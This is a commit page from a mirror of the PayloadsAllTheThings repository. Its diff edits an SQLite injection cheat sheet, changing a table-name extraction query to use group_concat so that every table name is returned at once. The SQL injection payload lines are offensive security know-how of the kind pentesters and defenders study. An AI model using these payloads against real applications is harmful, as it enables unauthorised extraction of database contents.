ch0ic3/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-12-18 10:26:09 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

Update SQLite Injection.md

Browse Source 
add "group_concat" so that all tables can be extracted once when the query only returns the first item
This commit is contained in:
KeoOp 2023-07-16 23:44:00 +08:00 committed by GitHub
parent cd19bb9409
commit d5f85f13d5
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 1 additions and 3 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

4
SQL Injection/SQLite Injection.md
View File

@ -37,11 +37,9 @@ SELECT sql FROM sqlite_schema
## Integer/String based - Extract table name
```sql
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
```
Use limit X+1 offset X, to extract all tables.
## Integer/String based - Extract column name
```sql